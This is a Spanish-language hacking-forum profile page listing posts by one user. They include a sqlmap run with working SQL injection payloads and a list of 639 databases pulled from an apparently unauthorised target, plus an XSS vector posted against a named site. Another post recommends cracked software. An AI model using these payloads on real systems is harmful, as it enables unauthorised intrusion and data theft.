Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - meteor0

#21
Bueno hoy volvia de las recuperaciones de mi instituto, y como és normal llegue encendí el ordena inicie sesión a skype y de repente se me va la conexión, bueno hasta todo me parecía normal conecte unos cables de ethernet y ya pero de pronto veo skype y veo que alguien me habla diciendo en ingles ''Un negrata me dijo que le intentastes DOSEAR con una booter de 5 dolares y aqui estoy yo el listillo''.
Bueno cuando me dijo esto ya estaba completamente seguro que era un DDoS a mi router asi que me gustaria saber como mitigar este ataque, tambien me bloqueo la entrada a páginas web ya que cuando intentaba entrar a google me redirigia a la administración de router en la pagina inicial con un codigo que creo que enviaba la contraseña a una pagina web era codigo php como no sabía que hacer encendi el APATEDNS y el WIRESHARK para capturar el tráfico quisiera saber como arreglarlo y si puedo hacer algo con la infromación que tengo en los dos programas
Lo gracioso de esto es que yo no he doseado a nadie jajajaaj

Gracias Saludos Meteor
#22
Muy bueno arthusu, la verdad es que sirve de bastante y estaré esperando ese Google Hacking post

Saludos
#23
Muy bueno, me sirvió de mucho y bastante interesante para los newbies como yo

Saludos
#24
Hacking ShowOff / Re:XSS Reflected BlackPloit
Mayo 26, 2015, 02:50:06 PM
Buena Mago a ver cuando te pones en skype
Saludos
#25
Galería / Re:Underc0de.org en MSPAINT.exe
Mayo 23, 2015, 12:39:52 PM
jajajaja me encanto la sección PRIV8
#26
Dudas y pedidos generales / Re:Animación 3D
Mayo 14, 2015, 03:54:06 PM
Para mí uno de los mejores para crear pieza por pieza es el CINEMA4D se descarga de internet crackeandolo, buscalo yo lo tengo y me va muy bien
#27
Dudas y pedidos generales / Re:Fallo con SQLMap
Enero 06, 2015, 02:42:05 PM
solucionado gracias  ;D
#28
Dudas y pedidos generales / Re:Fallo con SQLMap
Enero 03, 2015, 02:57:39 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
que comando estás utilizando en SQLMAP?
Lo puse al final del code pero igualmente lo volere a poner
sqlmap -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --dbs [esa fue la sintaxis]

Te he borrado ya tres veces el dominio del comando que ejecutas, intenta llevar más cuidado la próxima vez, no es bueno publicar así el dominio y más si quieres explotar el fallo...

Un saludo.

Tranquilo blackdrake ese no era el dominio real era un fake de todas maneras proximas vez pondre "www.domain.com"
#29
Dudas y pedidos generales / Re:Fallo con SQLMap
Diciembre 29, 2014, 04:06:18 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
que comando estás utilizando en SQLMAP?
Lo puse al final del code pero igualmente lo volere a poner
sqlmap -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --dbs [esa fue la sintaxis]
#30
Dudas y pedidos generales / [SOLUCIONADO] Fallo con SQLMap
Diciembre 29, 2014, 04:01:23 PM
Buenas hoy andaba jugando un poco con SQLMAP en kali pero la cosa es que todas las paginas en las que intente entrar mediante una vulnerabilidad SQLi
me saltaba siempre el mismo resultado

Código: text
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 19:45:31

[19:45:31] [WARNING] unable to create default root output directory '/usr/share/sqlmap/output' ([Errno 13] Permission denied: '/usr/share/sqlmap/output'). Using temporary directory '/tmp/sqlmapoutput_nLGTu' instead
[19:45:31] [INFO] testing connection to the target URL
[19:45:32] [INFO] testing if the target URL is stable. This can take a couple of seconds
[19:45:33] [INFO] target URL is stable
[19:45:33] [INFO] testing if GET parameter 'id' is dynamic
[19:45:34] [INFO] confirming that GET parameter 'id' is dynamic
[19:45:34] [INFO] GET parameter 'id' is dynamic
[19:45:34] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[19:45:34] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] y
[19:45:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:45:36] [WARNING] reflective value(s) found and filtering out
[19:45:38] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[19:45:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[19:45:39] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[19:45:39] [INFO] testing 'MySQL inline queries'
[19:45:39] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[19:45:39] [WARNING] time-based comparison requires larger statistical model, please wait...................
[19:45:48] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[19:45:48] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[19:46:09] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based blind' injectable
[19:46:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[19:46:09] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:46:11] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[19:46:12] [INFO] target URL appears to have 8 columns in query
[19:46:13] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 40 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=15 AND 4624=4624

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=15 AND (SELECT 9008 FROM(SELECT COUNT(*),CONCAT(0x7163777371,(SELECT (CASE WHEN (9008=9008) THEN 1 ELSE 0 END)),0x716b767471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 8 columns
    Payload: id=15 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7163777371,0x49496759657943627947,0x716b767471)#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=15 AND SLEEP(5)
---
[19:46:15] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.25
back-end DBMS: MySQL 5.0
[19:46:15] [INFO] fetching database names
available databases [639]:
[*] antispam
[*] con464274
[*] cop244027
[*] cop585447
[*] cop686640
[*] cop851481
[*] db000811
[*] db006107
[*] db006708
[*] db012000
[*] db012436
[*] db013520
[*] db014741
[*] db015324
[*] db017046
[*] db021462
[*] db022082
[*] db022136
[*] db023003
[*] db033444
[*] db034868
[*] db037602
[*] db045226
[*] db046826
[*] db047202
[*] db048636
[*] db051032
[*] db054377
[*] db054546
[*] db057537
[*] db057788
[*] db058680
[*] db061673
[*] db063035
[*] db063432
[*] db075504
[*] db081634
[*] db082316
[*] db082641
[*] db083054
[*] db085407
[*] db087365
[*] db101325
[*] db101341
[*] db101484
[*] db101701
[*] db107651
[*] db112033
[*] db112106
[*] db114138
[*] db115220
[*] db116375
[*] db124676
[*] db126101
[*] db128110
[*] db130262
[*] db131584
[*] db135437
[*] db135460
[*] db136462
[*] db136582
[*] db141708
[*] db147648
[*] db147884
[*] db148010
[*] db150780
[*] db151354
[*] db152172
[*] db154474
[*] db154507
[*] db155012
[*] db155051
[*] db155883
[*] db156137
[*] db157012
[*] db158344
[*] db161487
[*] db161836
[*] db168040
[*] db172740
[*] db175035
[*] db175323
[*] db180227
[*] db182376
[*] db182406
[*] db186476
[*] db188441
[*] db213220
[*] db214747
[*] db215024
[*] db217232
[*] db218340
[*] db220420
[*] db221336
[*] db223671
[*] db227435
[*] db227882
[*] db228121
[*] db233177
[*] db234312
[*] db235316
[*] db238781
[*] db240548
[*] db244601
[*] db245783
[*] db250551
[*] db251535
[*] db252127
[*] db252553
[*] db254276
[*] db255188
[*] db255343
[*] db256114
[*] db257151
[*] db260581
[*] db261503
[*] db263717
[*] db264643
[*] db267876
[*] db268421
[*] db271614
[*] db274260
[*] db276166
[*] db278660
[*] db280606
[*] db281576
[*] db287410
[*] db288487
[*] db300755
[*] db302565
[*] db305530
[*] db310283
[*] db315418
[*] db317506
[*] db318811
[*] db321360
[*] db323754
[*] db328273
[*] db330558
[*] db330731
[*] db333386
[*] db336880
[*] db340800
[*] db345163
[*] db345661
[*] db347107
[*] db348437
[*] db350751
[*] db351482
[*] db353151
[*] db354086_backup
[*] db354852
[*] db357777
[*] db358004
[*] db358228
[*] db360867
[*] db362332
[*] db362634
[*] db364614
[*] db367024
[*] db368220
[*] db368638
[*] db370121
[*] db372877
[*] db374830
[*] db376171
[*] db381226
[*] db383227
[*] db383546
[*] db384052
[*] db384052_alt
[*] db385438
[*] db385713
[*] db386364
[*] db386734
[*] db387722
[*] db388115
[*] db402855
[*] db404702
[*] db406512
[*] db407610
[*] db408053
[*] db410117
[*] db410343
[*] db413368
[*] db415371
[*] db421427
[*] db422252
[*] db423083
[*] db424244
[*] db427277
[*] db428170
[*] db428277
[*] db430345
[*] db431428
[*] db431776
[*] db432625
[*] db437187
[*] db437528
[*] db441078
[*] db444417
[*] db445438
[*] db445818
[*] db446201
[*] db447316
[*] db447852
[*] db448362
[*] db448846
[*] db453167
[*] db454056
[*] db455403
[*] db456816
[*] db460826
[*] db463171
[*] db463706
[*] db464604
[*] db465571
[*] db466124
[*] db467722
[*] db473075
[*] db473724
[*] db473866
[*] db475526
[*] db478075
[*] db480306
[*] db481047
[*] db486851
[*] db510831
[*] db513500
[*] db514424
[*] db516113
[*] db516504
[*] db517734
[*] db522602
[*] db523201
[*] db526876
[*] db530741
[*] db530832
[*] db532634
[*] db533022
[*] db533671
[*] db534252
[*] db534560
[*] db543720
[*] db544781
[*] db546487
[*] db546737
[*] db547324
[*] db550155
[*] db550281
[*] db551115
[*] db553841
[*] db553843
[*] db554113
[*] db555725
[*] db556230
[*] db557716
[*] db558532
[*] db561157
[*] db561651
[*] db562037
[*] db562268
[*] db566557
[*] db568418
[*] db568547
[*] db572315
[*] db575500
[*] db575728
[*] db577801
[*] db578644
[*] db578871
[*] db581342
[*] db585750
[*] db588762
[*] db600148
[*] db603260
[*] db605654
[*] db608346
[*] db608438
[*] db614254
[*] db614373
[*] db616377
[*] db620665
[*] db623340
[*] db624110
[*] db627280
[*] db627567
[*] db628538
[*] db631423
[*] db633048
[*] db634263
[*] db636164
[*] db636865
[*] db640126
[*] db642160
[*] db644012
[*] db644780
[*] db646716
[*] db647333
[*] db648533
[*] db651221
[*] db651322
[*] db651513
[*] db651545
[*] db653262
[*] db655311
[*] db656442
[*] db658024
[*] db662031
[*] db662081
[*] db662173
[*] db662621
[*] db663275
[*] db664220
[*] db665214
[*] db665734
[*] db667285
[*] db671438
[*] db671472
[*] db674662
[*] db675768
[*] db675804
[*] db677260
[*] db677607
[*] db680404
[*] db682144
[*] db683641
[*] db684244
[*] db688044
[*] db700613
[*] db706547
[*] db710416
[*] db711463
[*] db713103
[*] db714143
[*] db714482
[*] db714566
[*] db718218
[*] db720180
[*] db722351
[*] db722722
[*] db723313
[*] db725268
[*] db725412
[*] db725567
[*] db725803
[*] db728356
[*] db728511
[*] db730802
[*] db736664
[*] db737085
[*] db738048
[*] db738664
[*] db750146
[*] db750504
[*] db754342
[*] db754686
[*] db756186
[*] db760774
[*] db763482
[*] db766785
[*] db766878
[*] db770704
[*] db771732
[*] db772865
[*] db773031
[*] db775250
[*] db776734
[*] db778508
[*] db778708
[*] db778823
[*] db780184
[*] db780444
[*] db780742
[*] db782480
[*] db783805
[*] db784356
[*] db787852
[*] db803188
[*] db805648
[*] db808273
[*] db811512
[*] db813674
[*] db813750
[*] db814600
[*] db815448
[*] db820186
[*] db822187
[*] db823546
[*] db825070
[*] db831123
[*] db831767
[*] db832324
[*] db833673
[*] db834535
[*] db834557
[*] db835400
[*] db835615
[*] db842522
[*] db844040
[*] db845620
[*] db846463
[*] db846464
[*] db846612
[*] db847700
[*] db847780
[*] db850166
[*] db852263
[*] db852623
[*] db852721
[*] db854286
[*] db855702
[*] db855838
[*] db857064
[*] db858267
[*] db860881
[*] db862502
[*] db871106
[*] db873275
[*] db873417
[*] db874260
[*] db875237
[*] db875507
[*] db875844
[*] db876444
[*] db881284
[*] db882572
[*] db884102
[*] db885701
[*] drup217552
[*] drup413037
[*] drup686356
[*] drup727014
[*] drup855253
[*] egw286400
[*] egw537225
[*] egw745061
[*] goffice320272
[*] goffice448740
[*] goffice576671
[*] information_schema
[*] jo020747
[*] jo022864
[*] jo036555
[*] jo038576
[*] jo045078
[*] jo045378
[*] jo056223
[*] jo067371
[*] jo077876
[*] jo083777
[*] jo088554
[*] jo101414
[*] jo107121
[*] jo108210
[*] jo111152
[*] jo112407
[*] jo133670
[*] jo134278
[*] jo150542
[*] jo155532
[*] jo167276
[*] jo171364
[*] jo181554
[*] jo184853
[*] jo200463
[*] jo225228
[*] jo237711
[*] jo244574
[*] jo263320
[*] jo311500
[*] jo317685
[*] jo330477
[*] jo354614
[*] jo356062
[*] jo362064
[*] jo371565
[*] jo375171
[*] jo378002
[*] jo403818
[*] jo410032
[*] jo423455
[*] jo432773
[*] jo437583
[*] jo474542
[*] jo486840
[*] jo504505
[*] jo545522
[*] jo560653
[*] jo563768
[*] jo567424
[*] jo605187
[*] jo621210
[*] jo622041
[*] jo630520
[*] jo636886
[*] jo640128
[*] jo650623
[*] jo660514
[*] jo667863
[*] jo684604
[*] jo685602
[*] jo704341
[*] jo707585
[*] jo708557
[*] jo711807
[*] jo713257
[*] jo716624
[*] jo718302
[*] jo718868
[*] jo742444
[*] jo748541
[*] jo751033
[*] jo762830
[*] jo782774
[*] jo806151
[*] jo848120
[*] jo851610
[*] jo861017
[*] jo868224
[*] jo878873
[*] mwiki012146
[*] mwiki151510
[*] mwiki300341
[*] mwiki531443
[*] mwiki805554
[*] mysql
[*] osc021211
[*] osc051828
[*] osc135420
[*] osc166150
[*] osc514344
[*] osc655755
[*] osc688753
[*] osc708041
[*] osc744185
[*] osc828643
[*] oxd084661
[*] oxd625307
[*] oxd686053
[*] oxd771270
[*] piwik024143
[*] piwik541488
[*] piwik643713
[*] pn_nagios
[*] poll723244
[*] reseller
[*] resellers-queue
[*] roundcubemail
[*] sexypaar
[*] smf058778
[*] smf624668
[*] smf656763
[*] smf670041
[*] smf683445
[*] smf683825
[*] t3002413
[*] t3020431
[*] t3048368
[*] t3055818
[*] t3060103
[*] t3067700
[*] t3070256
[*] t3073507
[*] t3087661
[*] t3101574
[*] t3164757
[*] t3188224
[*] t3218040
[*] t3273243
[*] t3276581
[*] t3400554
[*] t3417065
[*] t3417862
[*] t3430725
[*] t3452276
[*] t3502742
[*] t3507178
[*] t3511224
[*] t3515461
[*] t3516175
[*] t3524780
[*] t3525382
[*] t3534736
[*] t3542217
[*] t3570432
[*] t3578007
[*] t3613846
[*] t3626586
[*] t3660780
[*] t3663227
[*] t3688828
[*] t3703563
[*] t3705207
[*] t3728768
[*] t3758823
[*] t3784108
[*] t3815271
[*] t3850245
[*] t3858451
[*] t3hifiTJfn1k
[*] t3inprMLKJ0K
[*] t3lady7Yr6Va
[*] t3lingQuAilG
[*] t3natiOdzMwf
[*] t3schuAXUkoK
[*] t3themcVYr5U
[*] tmpdir
[*] webcontrol
[*] wp003781
[*] wp127442
[*] wp170615
[*] wp268667
[*] wp328673
[*] wp431433
[*] wp450763
[*] wp464106
[*] wp501030
[*] wp525540
[*] wp526874
[*] wp535282
[*] wp548043
[*] wp617472
[*] wp622325
[*] wp666834
[*] wp706043
[*] wp735412
[*] wp764773
[*] wp777268
[*] wp803250
[*] wp828847
[*] wp875114
[*] wp877002
[*] xtcm030252
[*] xtcm176438
[*] xtcm223571
[*] xtcm555058
[*] xtcm700277
[*] xtcm831878



[*] shutting down at 19:46:17

sqlmap -u http://www.domain.com/produktdetail.php?id=15 --dbs [esa fue la sintaxis]


Nose que hacer alguna idea?
En todas me saltaba lo mismo
#31
Hotspotshield es muy buena te la recomiendo 100%
#32
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Buenas, a ver a mi me encanta la informática sobretodo el apartado hacking y llevo unos días leyendo algunos números de las revistas de Hack x Crack y quiero empezar a estudiar hacking.

Pero no se por donde empezar, por donde me recomendarían empezar para estudiar hacking desde 0.

Saludos

Como bien dice blackdrake el apartado "hacking" así que busca algo que te guste porque tendrás que dedicarle mucho tiempo
#33
Dudas y pedidos generales / Re:Fuente photoshop
Septiembre 24, 2014, 01:59:47 PM
O simplemente puedes sacar foto de la fuente y buscarla en google en "búsqueda por imagen"
#34
Hacking / Re:Aplicación online Security Training.
Septiembre 13, 2014, 05:21:21 PM
Para los novatos como yo... te da a entender cosas interesantes
#35
Wargames y retos / Re:Reto XSS [muy fácil]
Septiembre 11, 2014, 03:49:31 PM
Perdonadme, recién me di cuenta que estaba subido xD


ME GUSTO
#36
Excelente y muy buena imformación acerca de los metadatos
#37
Hacking ShowOff / Re:[XSS] Flipop.net
Septiembre 10, 2014, 01:21:48 PM
Gracias :]
#38
Hacking ShowOff / [XSS] Flipop.net
Septiembre 10, 2014, 10:36:37 AM
Una imagen mostrando la falla

La url del sitio
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Url en donde se realizo la inyeccion
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vector utilizado
"><script>alert('/METEOR/')</script>
Y si fue reportado o no la falla
REPORTADO
#39
Galería / Re:Córrete con mi firma :')
Septiembre 08, 2014, 05:20:10 PM
No está mal , sigue mejorando
#40
Galería / BANNER CON C4D Y PSCS6
Septiembre 08, 2014, 05:17:03 PM